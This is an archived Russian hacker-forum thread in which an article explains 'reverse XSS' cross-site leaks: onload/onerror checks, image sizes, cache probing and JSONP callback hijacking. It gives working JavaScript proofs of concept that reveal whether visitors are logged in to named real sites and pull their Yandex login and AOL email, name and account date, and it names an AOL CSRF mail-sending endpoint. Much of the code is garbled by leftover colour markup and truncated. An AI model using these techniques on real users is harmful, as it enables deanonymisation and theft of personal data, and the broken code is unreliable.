ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Статьи (https://forum.antichat.xyz/forumdisplay.php?f=30)
-   -   Получение информации о пользователях. Уязвимости клиентской части [паблик версия] (https://forum.antichat.xyz/showthread.php?t=352133)

M_script 20.09.2012 23:58

Наиболее известными клиентскими уязвимостями являются CSRF и XSS.

CSRF позволяет выполнить определенное действие на сайте от имени пользователя. При этом нельзя получить доступ к данным в ответе сервера (без возможности внедрения скриптов на том же домене).

XSS - это внедрение своего исполняемого кода в страницу уязвимого сайта. Обычно XSS разделяют по способу внедрения на пассивные, активные и DOM-based.

В своей статье я хочу рассмотреть тип уязвимостей клиентской части, не вписывающийся в стандартную классификацию. Целью атаки будет являться получение какой-либо информации о пользователе уязвимого сайта.

Способ эксплуатации этих уязвимостей прямо противоположный XSS - внедрение данных c уязвимого сайта в свою страницу, поэтому далее буду условно их называть "обратными XSS".

Существует много типов данных, которые можно внедрить в страницу со стороннего сайта, но в этой теме будут описаны только 3 варианта:

Изображения

Таблицы стилей

Скрипты

1) Изображения

1.1) Проверка формата файла.

Тег img позволяет проверить, является ли правильным изображением файл, указанный в атрибуте src. Делается это с помощью событий onload и onerror.

Этот тег может пригодиться для проверки авторизации на сайте, каких-либо пользовательских настроек и прав доступа, брута id пользователя, фотоальбомов, фотографий и т.д.

На многих сайтах в HTTP-запросах передается обратная ссылка, на которую происходит перенаправление после выполнения запроса.

Обычно редирект разрешен только на внутренние ссылки и только авторизованным пользователям.

Наличие на сайте внутреннего редиректа, или изображения, доступного только для зарегистрированных пользователей, позволяет проверить авторизацию пользователя на сайте.



Проверка авторизации:

http://vkontakte.ru/login.php?to=ZmF2aWNvbi5pY28

http://fotostrana.ru/user/login/?redirect=/favicon.ico

http://m.facebook.com/login/help/identify?select_user_url=/favicon.ico&email=a@a.a

http://loveplanet.ru/a-logon/extend-cGF0aD1mYXZpY29uLmljbw

http://e.mail.ru/cgi-bin/modifyevent?confirm=1&remove.x=0&remove.y=0&next_p age=http://img.mail.ru/r/dumb.gif

https://talkgadget.google.com/talkgadget/gauth?redirect=true&silent=true&host=http://www.google.com/favicon.ico

http://www.hackzone.ru/memb/?a=do_login&bwurl1=/favicon.ico

/attachment.php?attachmentid=197


Другие проверки:

Наличие "мира" на ящике мэйлру - http://my.mail.ru/bk/x/editinfo?Save=1&back=http://img.mail.ru/r/dumb.gif

Модер - /attachment.php?attachmentid=515

РОА - /attachment.php?attachmentid=1474

1.2) Проверка размеров изображения

JS позволяет проверить высоту и ширину элементов страницы, в том числе изображения в img. Чтобы получить правильный размер изображения, необходимо, чтобы оно загрузилось полностью.

Для ускорения загрузки страниц, браузер сохраняет изображения в свой кэш. Значит можно проверить, посещал ли пользователь определенный сайт.

Тестовым изображением будет рекламный баннер ачата:

PHP код:

[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]

[/
COLOR][COLOR="#0000BB"]onload[/COLOR][COLOR="#007700"]= function()

{

var[/COLOR][COLOR="#0000BB"]newImg[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]Image[/COLOR][COLOR="#007700"]();

[/
COLOR][COLOR="#0000BB"]newImg[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]style[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]visibility[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'hidden'[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]newImg[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]src[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'/bn/insorg2.gif'[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]body[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]appendChild[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]newImg[/COLOR][COLOR="#007700"]);

if([/COLOR][COLOR="#0000BB"]newImg[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]offsetHeight[/COLOR][COLOR="#007700"]!=[/COLOR][COLOR="#0000BB"]60[/COLOR][COLOR="#007700"]&&[/COLOR][COLOR="#0000BB"]newImg[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]offsetWidth[/COLOR][COLOR="#007700"]!=[/COLOR][COLOR="#0000BB"]468[/COLOR][COLOR="#007700"])

{

[/
COLOR][COLOR="#0000BB"]alert[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'bad'[/COLOR][COLOR="#007700"]);

}

else

{

[/
COLOR][COLOR="#0000BB"]alert[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'good'[/COLOR][COLOR="#007700"]);

}



[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]body[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]removeChild[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]newImg[/COLOR][COLOR="#007700"]);

};

[/
COLOR][COLOR="#0000BB"][/COLOR][/COLOR

Если изображение в кэше браузера, оно загрузится мгновенно и размеры совпадут с заранее заданными.

Если пользователь раньше не посещал форум, маловероятно, что изображение загрузится полностью на момент проверки ее размера.

В качестве еще одного примера использования возьму foto.mail.ru.

Пользователи этого сайта могут создавать закрытые альбомы. Все фотографии имеют порядковые номера. При удалении фотографий, ее номер больше не используется.

Так же на сайте есть CSRF, позволяющая скопировать изображения из одного (закрытого) альбома в любой другой (открытый). Для эксплуатации CSRF нужно знать номера существующих фотографий.

Перебирать все номера в CSRF-запросах неэффективно из-за большого объема ответа.

При отсутствии файла на фотохостинге ответ выдается в виде изображения (поэтому нельзя проверить через onload/onerror) стандартного размера 320x240.

PHP код:

[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]

var[/
COLOR][COLOR="#0000BB"]myMail[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'mail/user_login/user_album/'[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]onload[/COLOR][COLOR="#007700"]= function()

{

for(var[/COLOR][COLOR="#0000BB"]i[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]i[/COLOR][COLOR="#007700"][/COLOR][/COLOR

В алертах будут показаны ссылки на существующие фотографии. Вероятность того, что существующие фотографии будут иметь размер 320x240, достаточно низкая.

2) Стили

2.1) Проверка размеров определенного элемента страницы

С помощью специально сформированной страницы можно проверить доступность css-файла. Также при различных пользовательских настройках css-файлы на сайтах могут отличаться. Для примера опять возьму редирект ВК:

PHP код:

[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]

[/
COLOR][COLOR="#0000BB"]onload[/COLOR][COLOR="#007700"]= function()

{

var[/COLOR][COLOR="#0000BB"]newA[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]createElement[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'a'[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]newA[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]id[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'group'[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]body[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]appendChild[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]newA[/COLOR][COLOR="#007700"]);

if([/COLOR][COLOR="#0000BB"]newA[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]offsetHeight[/COLOR][COLOR="#007700"]>[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"])

[/
COLOR][COLOR="#0000BB"]alert[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'good'[/COLOR][COLOR="#007700"]);

else

[/COLOR][COLOR="#0000BB"]alert[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'bad'[/COLOR][COLOR="#007700"]);

};

[/
COLOR][COLOR="#0000BB"]

[/
COLOR]

[/
COLOR

Если пользователь авторизован, в качестве таблицы стилей будет загружен файл "/css/al/groups.css"

Код HTML:

#group {
  padding: 10px 10px 0px;
}

Этот код увеличит высоту элемента с id == group на 10. Если пользователь не авторизован, стили не загрузятся, и высота элемента останется равной нулю.

2.2) Проверка кода ответа сервера

Событие onload тега link, в отличие от тега img, не проверяет правильность формата файла в href, но позволяет проверить код состояния ответа. При "4xx: Client Error" и "5xx: Server Error" onload не срабатывает.



Если пользователь авторизован - ответ "404 Not Found", событие onload не срабатывает.

Если не авторизован - редирект на авторизацию и ответ "200 OK", событие onload срабатыват.



Если пользователь авторизован - ответ "200 OK", событие onload срабатывает.

Если не авторизован - форма авторизации с кодом состояния "401 Unauthorized", событие onload не срабатывает.

Вернемся к примеру с изображениями на фотохостинге мэйлру. При отсутствии фотографии в ответе сервера будет изображение, но код состояния останется стандартным - "404 Not Found".

PHP код:

[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]

var[/
COLOR][COLOR="#0000BB"]myMail[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'mail/user_login/user_album/'[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]onload[/COLOR][COLOR="#007700"]= function()

{

for(var[/COLOR][COLOR="#0000BB"]i[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]i[/COLOR][COLOR="#007700"][/COLOR][/COLOR

В отличие от примера с img, здесь не будет ошибочных пропусков изображений размером 320x240.

3) Скрипты

Первый пример стандартный. Нахождение скриптов, имеющих различное отображение при авторизации или различных настройках и правах пользователей.

Для этого могут использоваться внутренние редиректы сайта или аттачи на форумах.



Событие onload срабатывает, если файл в src содержит правильный JS-код.

Другой вариант аналогичной проверки:

PHP код:

[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]

[/
COLOR][COLOR="#0000BB"]Aboutme[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]getLang[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]null[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]onload[/COLOR][COLOR="#007700"]= function()

{

if([/COLOR][COLOR="#0000BB"]Aboutme[/COLOR][COLOR="#007700"]==[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"])

[/
COLOR][COLOR="#0000BB"]alert[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'bad'[/COLOR][COLOR="#007700"]);

else

[/COLOR][COLOR="#0000BB"]alert[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'good'[/COLOR][COLOR="#007700"]);

}

[/
COLOR][COLOR="#0000BB"]

[/
COLOR]

[/
COLOR

Если пользователь авторизован, загружается скрипт, присваивающий переменной Aboutme значение, отличное от 0. После полной загрузки страницы проверяем эту переменную.

В современном интернете динамическая подгрузка данных без полного обновления страницы фактически стала стандартом. Вместе с этим появилась новая опасность для пользователей.

Некоторые сайты передают в скриптах информацию об авторизованном пользователе.

Соц.сеть "страна друзей":

PHP код:

[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]

[/
COLOR][COLOR="#0000BB"]onload[/COLOR][COLOR="#007700"]= function()

{

var[/COLOR][COLOR="#0000BB"]s[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]createElement[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'script'[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]s[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]src[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'http://www.stranadruzey.ru/battle/ajax/userinfo/counters/?cb=a'[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]getElementsByTagName[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'head'[/COLOR][COLOR="#007700"])[[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#0000BB"]appendChild[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]s[/COLOR][COLOR="#007700"]);

};

function[/
COLOR][COLOR="#0000BB"]a[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]a[/COLOR][COLOR="#007700"])

{

[/
COLOR][COLOR="#0000BB"]alert[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]a[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]info[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]id[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]alert[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]a[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]info[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]photo[/COLOR][COLOR="#007700"]);

};

[/
COLOR][COLOR="#0000BB"][/COLOR][/COLOR

В алертах будет показан id и ссылка на фото авторизованного пользователя соц.сети.

Распространенная библиотека jQuery с помощью метода getJSON позволяет обмениваться данными между разными доменами используя тег script (формат JSONP).

Если при вызове getJSON одному из параметров присваивается значение "?", при запросе библиотека генерирует в этом параметре название callback-функции.

Пишем свою callback-функцию и передаем в нужном параметре ее имя.

Крупные сайты тоже допускают подобные баги.

PHP код:

[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]

[/
COLOR][COLOR="#0000BB"]onload[/COLOR][COLOR="#007700"]= function()

{

var[/COLOR][COLOR="#0000BB"]s[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]createElement[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'script'[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]s[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]src[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'http://pass.yandex.ru/services?login=yes&callback=a'[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]getElementsByTagName[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'head'[/COLOR][COLOR="#007700"])[[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#0000BB"]appendChild[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]s[/COLOR][COLOR="#007700"]);

};

function[/
COLOR][COLOR="#0000BB"]a[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]a[/COLOR][COLOR="#007700"])

{

[/
COLOR][COLOR="#0000BB"]alert[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]a[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]login[/COLOR][COLOR="#007700"]);

for (var[/COLOR][COLOR="#0000BB"]i in a[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]services[/COLOR][COLOR="#007700"]) {

[/
COLOR][COLOR="#0000BB"]alert[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]a[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]services[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]i[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#0000BB"]id[/COLOR][COLOR="#007700"]);

}

};

[/
COLOR][COLOR="#0000BB"][/COLOR][/COLOR

Яндекс - найдется все... Даже Ваш логин и список сервисов, которые активированы на Вашем аккаунте...

Если callback-функция не передается, но в скрипте есть вызов какой-нибудь другой функции, ее можно подменить. Стандартный пример с проверкой авторизации:

PHP код:

[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]

var[/
COLOR][COLOR="#0000BB"]bad[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]getLang[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]a[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]onload[/COLOR][COLOR="#007700"]= function()

{

if([/COLOR][COLOR="#0000BB"]bad[/COLOR][COLOR="#007700"])

[/
COLOR][COLOR="#0000BB"]alert[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'bad'[/COLOR][COLOR="#007700"]);

else

[/COLOR][COLOR="#0000BB"]alert[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'good'[/COLOR][COLOR="#007700"]);

};

function[/
COLOR][COLOR="#0000BB"]a[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]a[/COLOR][COLOR="#007700"])

{

[/
COLOR][COLOR="#0000BB"]bad[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]getLang[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]null[/COLOR][COLOR="#007700"];

};

[/
COLOR][COLOR="#0000BB"]

[/
COLOR]

[/
COLOR

Если пользователь авторизован, загружается скрипт, содержащий вызов функции getLang. С помощью подмены этой функции изменяем значение переменной bad. После полной загрузки страницы проверяем переменную.

AOL, как и Яндекс, может многое рассказать о своих пользователях:

PHP код:

[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]

[/
COLOR][COLOR="#0000BB"]

[/
COLOR]

onload = function()

{

eval = a;

var s = document.createElement('script');

s.src = Config.BasePagesURL + 'common/settings.js.aspx';

document.getElementsByTagName('head')[0].appendChild(s);

};

function a(a)

{

alert(a.ActiveUserEmailAddress);

alert(a.FromDisplayName);

var d = new Date(a.AOLCreateDate * 1000);

alert(d.toGMTString());

};

[/
COLOR

Пример выводит почтовый адрес, фамилию, имя и дату регистрации аккаунта, но скрипт settings.js.aspx кроме этих данных содержит очень много интересной информации о пользователе и его активности на сервисах AOL'а.

Путь к скриптам на aol.com не постоянный и зависит от местонахождения пользователя. Ссылки выглядят примерно так - "http://mail.aol.com/12345-123/aol-4/en-us/common/bundle.js.aspx"

Если в адресе пропустить "12345-123/aol-4/en-us/" в большинстве случаев происходит редирект на правильный адрес. При запросе "common/settings.js.aspx" этого редиректа не происходит и данные о пользователе получить нельзя.

Но немного поискав, можно найти файл "common/bundle.js.aspx", который успешно редиректится даже без полного пути. Содержимое его выглядит примерно так:var Config={"POPIMAPHelpLink":"[ссылка]",...,"BasePagesURL":"http://mail.aol.com/12345-123/aol-4/en-us/",...,"BaseImagesURL":"http://o.aolcdn.com/cdn.webmail.aol.com/12345/images/"};

Config.EnableTMZPanel=true;

Config.OverridePlugins={"IDList":[]};

...

​В переменной Config['BasePagesURL'] содержится нужная ссылка.

"Обратные XSS" могут оказаться необходимым дополнением к другим видам атак.

Например, CSRF (GET/POST) на aol.com невозможна знания полного пути к скриптам.

http://m.aol.com/mail/12345-123/aol-4/en-us/Wap/ComposeHandler.aspx

folder=&ActionL10n=Send&To=[Кому]&Subject=[Тема]&PlainBody=[Содержание]


Вся информация взята из головы, другие источники не использовались. Если ранее где-то было опубликовано нечто подобное, напишите об этом в комментариях.

M_script 21.09.2012 00:09

Копипаст одноименной темы из РОА от 11.10.2011.

Тема скопирована не полностью, так как в оригинале есть рабочие примеры эксплуатации уязвимостей на крупных сайтах, приводящие к раскрытию личной информации.

VY_CMa 21.09.2012 00:45

Хорошо раскидано, мне нравится.

M_script 21.09.2012 02:00

Кэш браузера

4) Кэш браузера

В пункте 1.2 был описан метод проверки изображений, находящихся в кэша браузера.

Недавно я нашел интересный способ проверки кэширования не только изображений, но и текстовых файлов (html, js, css и т.д.). Об этом и пойдет речь.

Same origin policy - политика безопасности браузера, которая запрещает страницам одного сайта получать информацию со страниц другого сайта.

Если разместить на сайте domain.com страницу

PHP код:

[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]

function[/
COLOR][COLOR="#0000BB"]iframeLoad[/COLOR][COLOR="#007700"]()

{

[/
COLOR][COLOR="#0000BB"]alert[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]frames[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]body[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]innerHTML[/COLOR][COLOR="#007700"]);

}

[/
COLOR][COLOR="#0000BB"]

[/
COLOR][/COLOR

то фрейм будет загружен, но алерта мы не увидим из-за ограничений same origin policy. Если ту же страницу разместить на сайте domain2.com, сработает алерт, которые выведет содержимое domain2.com/page.htm

Проверим, как поведет себя браузер если загрузить во фрейм страницу своего сайта, а потом изменить ее на страницу другого сайта используя refresh.

domain.com/page.htm

PHP код:

[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]

function[/
COLOR][COLOR="#0000BB"]iframeLoad[/COLOR][COLOR="#007700"]()

{

[/
COLOR][COLOR="#0000BB"]alert[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'ok'[/COLOR][COLOR="#007700"]);

}

[/
COLOR][COLOR="#0000BB"]

[/
COLOR][/COLOR

domain.com/page2.htm

PHP код:

[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]

[/
COLOR][/COLOR

Мы увидим два алерта. Это происходит потому, что событие onload срабатывает сначала при загрузке domain.com/page2.htm, а потом при загрузке domain2.com/page.htm.

Попробуем вывести в алерте содержимое фрейма. Для этого немного изменим фукнцию iframeLoad()

PHP код:

[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]function[/COLOR][COLOR="#0000BB"]iframeLoad[/COLOR][COLOR="#007700"]()

{

[/
COLOR][COLOR="#0000BB"]alert[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]frames[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]body[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]innerHTML[/COLOR][COLOR="#007700"]);

}[/
COLOR][/COLOR

На этот раз будет показан только один алерт. Второй блокируется политикой безопасности.

Но если вместо domain2.com/page.htm мы попробуем перенаправить фрейм на какой-нибудь кэшированный файл, ни одного алерта показано не будет.

domain.com/page2.htm

PHP код:

[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR

Загрузка файла из кэша происходит настолько быстро, что на момент первого вызова функции iframeLoad() во фрейме уже находится страница другого сайта (в примере - www.google.ru)

Если поведение браузера отличается при загруке из кэша и при загрузке с сайта, значит определение кешированных файлов возможно.

PoC:

check.php

PHP код:

[COLOR="#000000"]function checkCache()

{

// функция вызывается 2 раза:

// при загрузке refresh.php

// и при загрузке файла, на который происходит перенаправление



checkCache
= null; // отключение повторной сработки после refresh



try

{

document.frames[0].document.body; // обращение к методам и свойствам других сайтов запрещено

alert('bad'); // исключения не было. файл загружен с сайта

}

catch(e)

{

// если есть исключение, значит файл загружен из кэша

alert('good');

}

}

[/
COLOR])" src="refresh.php?url=[COLOR="#0000BB"][/COLOR]">[/COLOR] 

refresh.php

PHP код:

[COLOR="#000000"][/COLOR]">[/COLOR] 


Adio 21.09.2012 02:56

пфф... ну а так не плохо

Га-Ноцри 21.09.2012 03:09

Цитата:

Сообщение от M_script
Наиболее известными клиентскими уязвимостями являются
CSRF
и
XSS
.

Дальше не читал. CSRF и XSS это не уязвимость, а всего лишь вектор атаки в контексте уязвимого приложения.

https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29.

Коли уж это форум об информационной безопасности, или, по крайней мере позиционирующий себя таковым, то кому как не почетному грин-мемберу тире модератору многих разделов, не знать о таких мелочах и деталях, не путаясь в терминологии, хотя бы.

M_script 21.09.2012 09:42

Цитата:

Сообщение от Га-Ноцри
Дальше не читал. CSRF и XSS это не уязвимость, а всего лишь вектор атаки в контексте уязвимого приложения.

Если вы не считаете CSRF и XSS уязвимостями, почему даете ссылку на страницу, в которой черном по белому написано "How to Avoid Cross-site scripting Vulnerabilities", "How to Review Code for Cross-site scripting Vulnerabilities", "How to Test for Cross-site scripting Vulnerabilities"?

http://en.wikipedia.org/wiki/Cross-site_scripting

"Cross-site scripting (XSS) is a type of computer security vulnerability..."

http://www.securitylab.ru/analytics/292473.php

"В последнее время в сообществе специалистов по безопасности Web-приложений широко обсуждается «новый» тип уязвимостей, получивший название Cross-Site Request Forgery (CSRF или XSRF). Предлагаемая вниманию читателя статья содержит описание этого типа уязвимостей, методов его использования и основные походы к защите."

Конечно же, CSRF и XSS - это векторы атак, так же как и SQL-injection или LFI, к примеру. Но это не мешает существовать одноименным уязвимостям, приводящим к возможности проведения данных атак.

Если я вас не убедил, тогда ответьте на вопрос - как называются уязвимости, которые дают возможность проведения CSRF и XSS атак?

Га-Ноцри 21.09.2012 18:15

Цитата:

Сообщение от M_script
Если вы не считаете CSRF и XSS уязвимостями, почему даете ссылку на страницу, в которой черном по белому написано "How to Avoid Cross-site scripting Vulnerabilities", "How to Review Code for Cross-site scripting Vulnerabilities", "How to Test for Cross-site scripting Vulnerabilities"?

В первом же предложении, по ссылке, которую я предложил, указано:

PHP код:

[COLOR="#000000"][COLOR="#0000BB"]Cross[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]site Scripting[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]XSS[/COLOR][COLOR="#007700"])



[/COLOR][COLOR="#0000BB"]This is an Attack[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]To view all attacks[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]please see the Attack Category page[/COLOR][COLOR="#007700"].[/COLOR][/COLOR

Но ладно, не будем дергать из контекста статьи отдельные предложения и возьмем, примеру, другую классификацию, по WASC.

PHP код:

[COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//projects.webappsec.org/w/page/13246920/Cross%20Site%20Scripting[/COLOR][/COLOR] 

Project: WASC Threat Classification

Threat Type: Attack

Цитата:

Сообщение от M_script
Если я вас не убедил, тогда ответьте на вопрос - как называются уязвимости, которые дают возможность проведения CSRF и XSS атак?

PHP код:

[COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//projects.webappsec.org/w/page/13246934/Improper%20Output%20Handling[/COLOR][/COLOR] 

Improper Input/Output Handling.

Интерес представляет фраза:

PHP код:

[COLOR="#000000"][COLOR="#0000BB"]An application that does not provide data in the correct context may allow an attacker to abuse the data consumer[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]This can lead to specific threats referenced within the WASC Threat Classification[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]including Content Spoofing[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]6[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]Cross[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]Site Scripting[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]7[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]HTTP Response Splitting[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]8[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]HTTP Response Smuggling[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]9[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]LDAP Injection[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]10[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]OS Commanding[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]11[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]Routing Detour[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]12[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]Soap[/COLOR][COLOR="#007700"]Array[/COLOR][COLOR="#0000BB"]Abuse[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]13[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]URL Redirector[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]14[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]XML 